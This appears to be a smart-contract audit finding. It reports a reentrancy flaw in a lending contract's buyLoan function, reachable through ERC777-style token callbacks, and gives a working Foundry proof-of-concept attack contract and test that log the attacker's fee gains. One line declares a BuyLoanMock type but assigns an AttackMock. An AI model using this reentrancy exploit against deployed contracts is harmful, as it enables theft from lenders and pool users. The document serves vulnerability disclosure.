Note: As per known issues although owner is not suspected to perform any malicious activities, it is a severe issue considerable to think and mitigate.
Reentrancy is possible if the borrower is lending tokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork).
Consider 2 Pools.
pragma solidity ^0.8.13;
import {TERC20, ERC777, IERC20WithCallback} from "./Tokens.sol";
import "../../src/Lender.sol";
contract AttackMock is IERC20WithCallback {
Lender public lender;
uint256 public loanId;
bytes32 public poolId;
bytes32 public oldPoolId;
uint256 debt;
function initiate() public returns(Lender) {
lender = new Lender();
return lender;
}
function setup(uint256 _loanId, bytes32 _poolId) public returns(Lender) {
loanId = _loanId;
poolId = _poolId;
(address _lender,,address _loanToken, address _collateralToken, uint256 _debt,,,,,) = lender.loans(_loanId);
debt = _debt;
oldPoolId = lender.getPoolId(_lender, _loanToken, _collateralToken);
return lender;
}
function getLender() public view returns(Lender) {
return lender;
}
function beforeTokenTransfer(address to, uint256 amount) external {
if (poolId != 0) {
(,,,,uint256 _newPoolBalance,,,,) = lender.pools(poolId);
(,,,,,,,,uint256 outstandingLoans) = lender.pools(oldPoolId);
if (_newPoolBalance > debt && outstandingLoans >= debt){
lender.buyLoan(loanId, poolId);
}
}
}
}
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import "src/utils/Structs.sol";
import "./mock/AttackMock.sol";
contract BuyLoanReentrancy is Test {
BuyLoanMock public attackContract = new AttackMock();
address public attackAddress;
Lender public lender;
ERC777 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public lender3 = address(0x3);
address public lender4 = address(0x4);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
lender = attackContract.initiate();
attackAddress = address(attackContract);
loanToken = new ERC777();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(lender3), 100000*10**18);
loanToken.mint(address(lender4), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender3);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender4);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
return poolId;
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_buy_loan_reentrancy() public {
bytes32 poolId = test_set_and_borrow(lender1, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId2 = lender.setPool(p2);
vm.warp(block.timestamp + 12 hours);
attackContract.setup(0, poolId2);
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
(,,,, uint256 _pb3,,,, uint256 _ol3) = lender.pools(poolId2);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", _pb2, 18);
emit log_named_decimal_uint("Outstanding loans: ", _ol2, 18);
emit log_named_decimal_uint("New Pool Balance: ", _pb3, 18);
emit log_named_decimal_uint("New Outstanding loans: ", _ol3, 18);
emit log_named_decimal_uint("Fees Acquired by attacker: ", loanToken.balanceOf(attackAddress), 18);
emit log_string("");
emit log_string("when buyLoan executed for single loan of debt 100, attacker (Lender.sol deployer reenter multiple times)");
emit log_string("");
lender.buyLoan(0, poolId2);
vm.stopPrank();
(,,,, uint256 pb2,,,, uint256 ol2) = lender.pools(poolId);
(,,,, uint256 pb3,,,, uint256 ol3) = lender.pools(poolId2);
emit log_string("After Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", pb2, 18);
emit log_named_decimal_uint("Outstanding loans: ", ol2, 18);
emit log_named_decimal_uint("New Pool Balance: ", pb3, 18);
emit log_named_decimal_uint("New Outstanding loans: ", ol3, 18);
emit log_named_decimal_uint("Fees Acquired by attacker: ", loanToken.balanceOf(attackAddress), 18);
emit log_string("");
}
}
Leads to acquiring excess fee and also arise centralization issues as lender can be favorable to one of the pools.